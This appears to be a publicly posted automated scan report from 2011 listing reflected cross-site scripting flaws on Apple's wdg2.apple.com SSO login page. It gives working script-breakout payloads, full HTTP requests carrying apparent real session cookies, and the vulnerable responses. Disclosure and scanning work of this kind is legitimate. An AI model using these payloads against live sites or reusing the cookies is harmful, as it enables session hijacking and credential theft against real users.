XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, wdg2.apple.com

Report generated by XSS.CX at Tue Sep 27 20:45:11 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading



1. Cross-site scripting (reflected)

XSS in wdg2.apple.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [appID parameter]

1.2. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]

1.3. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]

1.4. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]

2. Cacheable HTTPS response

2.1. https://wdg2.apple.com/ssowebapp/invisiblepage.html

2.2. https://wdg2.apple.com/ssowebapp/login.jsp

2.3. https://wdg2.apple.com/ssowebapp/visiblepage.jsp

3. HTML does not specify charset

4. Content type is not specified



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [appID parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://wdg2.apple.com
Path:   /ssowebapp/visiblepage.jsp

Issue detail

The value of the appID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bca87"%3bfbf6ef7ea54 was submitted in the appID parameter. This input was echoed as bca87";fbf6ef7ea54 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ssowebapp/visiblepage.jsp?appID=21bca87"%3bfbf6ef7ea54 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 28 Sep 2011 01:39:28 GMT
Content-Length: 9352


<html>
<head>
   <title>AppleConnect SSO Login</title>
<!-- BEGIN META TAG INFO -->
   <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
   <!-- Need no robots metatag -->
   <meta
...[SNIP]...
<embed type='application/x-datta' src='/ssowebapp/test.sso' target='SNKPWebSSO Plug-in' "
       +" service='' account='' realm='' host='' "
       +" envtype='INT' appId='21bca87";fbf6ef7ea54' successURL='' "
       +" cookieName='' replyFrame=scriptFrame replyURL='/ssowebapp/invisiblepage.html'>
...[SNIP]...

1.2. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/visiblepage.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6deaf'%3balert(1)//47155c517de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6deaf';alert(1)//47155c517de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ssowebapp/visiblepage.jsp?appID=21&6deaf'%3balert(1)//47155c517de=1 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 28 Sep 2011 01:39:29 GMT
Content-Length: 10384


<html>
<head>
   <title>AppleConnect SSO Login</title>
<!-- BEGIN META TAG INFO -->
   <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
   <!-- Need no robots metatag -->
   <meta
...[SNIP]...
ts/RadarWeb.woa/wa/?appID=21&6deaf';alert(1)//47155c517de=1";
//var cancelPage = "/ssowebapp/cancel.jsp?appID=21&6deaf';alert(1)//47155c517de=1";
//var showOldLogin = false;

var paramlist = 'appID=21&6deaf';alert(1)//47155c517de=1';


function showMessage(s) {
   //alert(escape(s));
   var expiration = new Date();
   var expdate = expiration.getTime()
   //expiration.setTime(expiration.getTime() + (10*60*10000));
   expdate += 2*60*10
...[SNIP]...

1.3. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/visiblepage.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6131"%3balert(1)//79c3507d10d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e6131";alert(1)//79c3507d10d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ssowebapp/visiblepage.jsp?appID=21&e6131"%3balert(1)//79c3507d10d=1 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 28 Sep 2011 01:39:28 GMT
Content-Length: 10384


<html>
<head>
   <title>AppleConnect SSO Login</title>
<!-- BEGIN META TAG INFO -->
   <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
   <!-- Need no robots metatag -->
   <meta
...[SNIP]...
<!--

var oldLoginPage = "https://bugreport.apple.com/cgi-bin/WebObjects/RadarWeb.woa/wa/signIn";
var successURL = "https://bugreport.apple.com/cgi-bin/WebObjects/RadarWeb.woa/wa/?appID=21&e6131";alert(1)//79c3507d10d=1";
//var cancelPage = "/ssowebapp/cancel.jsp?appID=21&e6131";alert(1)//79c3507d10d=1";
//var showOldLogin = false;

var paramlist = 'appID=21&e6131";alert(1)//79c3507d10d=1';


function showMessage(s
...[SNIP]...

1.4. https://wdg2.apple.com/ssowebapp/visiblepage.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/visiblepage.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload b277f%0aalert(1)//ae84ecc9e8a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b277f
alert(1)//ae84ecc9e8a
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ssowebapp/visiblepage.jsp?appID=21&b277f%0aalert(1)//ae84ecc9e8a=1 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 28 Sep 2011 01:39:29 GMT
Content-Length: 10375


<html>
<head>
   <title>AppleConnect SSO Login</title>
<!-- BEGIN META TAG INFO -->
   <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
   <!-- Need no robots metatag -->
   <meta
...[SNIP]...
s/RadarWeb.woa/wa/signIn";
var successURL = "https://bugreport.apple.com/cgi-bin/WebObjects/RadarWeb.woa/wa/?appID=21&b277f
alert(1)//ae84ecc9e8a=1";
//var cancelPage = "/ssowebapp/cancel.jsp?appID=21&b277f
alert(1)//ae84ecc9e8a
=1";
//var showOldLogin = false;

var paramlist = 'appID=21&b277f
alert(1)//ae84ecc9e8a=1';


function showMessage(s) {
   //alert(escape(s));
   var expiration = new Date();
   var expdate = expiration.getT
...[SNIP]...

2. Cacheable HTTPS response  previous  next
There are 3 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


2.1. https://wdg2.apple.com/ssowebapp/invisiblepage.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/invisiblepage.html

Request

GET /ssowebapp/invisiblepage.html HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Accept-Ranges: bytes
ETag: W/"749-1315908062000"
Last-Modified: Tue, 13 Sep 2011 10:01:02 GMT
Content-Type: text/html
Content-Length: 749
Date: Wed, 28 Sep 2011 01:39:25 GMT

<html>
<head>
   <script>
   function replace(s, t, u) {
       i = s.indexOf(t);
       r = "";
       if (i == -1)
           return s;
       r += s.substring(0,i) + u;
       if (i + t.length < s.length)
           r += replace(s.substring(i
...[SNIP]...

2.2. https://wdg2.apple.com/ssowebapp/login.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/login.jsp

Request

GET /ssowebapp/login.jsp?appID=21 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://bugreporter.apple.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 580
Date: Wed, 28 Sep 2011 01:39:25 GMT


<script language="javascript">
<!--
document.writeln('<frameset rows=\"100%,*\">');
document.writeln('<frame name=\"mainFrame\" src=\"visiblepage.jsp?appID=21\" border=0 />');
document.writeln('<f
...[SNIP]...

2.3. https://wdg2.apple.com/ssowebapp/visiblepage.jsp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/visiblepage.jsp

Request

GET /ssowebapp/visiblepage.jsp?appID=21 HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=BC0C49F544DE2A188D15FD6F2857B7BB; s_cvp35b=%5B%5B'google%253A%2520organic'%2C'1314836429529'%5D%5D; s_vi=[CS]v1|272F67E8051626F1-40000178A00342FD[CE]; dssid2=b875e382-cfc7-49ed-bdc9-7205c223295d; ac_IsSearchHomePage=0; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_ProductIdVal=0; ac_search=xss%20NOT%20faq%7C%7C%7C%7Cxss%7C%7Cxss%20dave%20matthews; POD=us~en; Pod=19; ccl=6MjxOYuVbv5J3KaRaPgVo83Mv/C922tuyYFgJoWyDPSMaO6uAhC21tBsfmbHtSATTclFiEHXsUU6gFu9xmU/zsBhkjC15cPd/EuNgzt9WH2Jjvre4g0inO3YY+dxe2kxhGfYX8JwMaBNHJy5XpL3OD9YeQciMdPg/bxafwLVrv+TaOgYdERMFg==; geo=US; s_ria=Flash%2010%7C; s_orientationHeight=866; dfa_cookie=appleglobal%2Cappleusother%2Cappleusbuy%2Cappleuscorporate%2Capplehome%2Cappleussearch; s_pv=search%20results%20-%20index%20(us); s_ppv=search%2520results%2520-%2520index%2520%2528us%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=channelprograms%3D10%2Cbuy%3D3%2Ccontact%3D1%2Chomepage%3D1%2Csearch%3D1%2C; s_invisit_n_us=77%2C62%2C46%2C3%2C27%2C; s_vnum_n_us=4%7C2%2C18%7C1%2C5%7C1%2C27%7C2%2C82%7C1%2C46%7C2%2C13%7C1%2C39%7C1%2C33%7C1%2C63%7C1%2C35%7C1%2C0%7C1%2C3%7C2%2C29%7C1%2C15%7C1%2C53%7C1%2C77%7C1%2C62%7C1; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 28 Sep 2011 01:39:25 GMT
Content-Length: 10043


<html>
<head>
   <title>AppleConnect SSO Login</title>
<!-- BEGIN META TAG INFO -->
   <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
   <!-- Need no robots metatag -->
   <meta
...[SNIP]...

3. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://wdg2.apple.com
Path:   /ssowebapp/invisiblepage.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /ssowebapp/invisiblepage.html HTTP/1.1
Host: wdg2.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://wdg2.apple.com/ssowebapp/login.jsp?appID=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
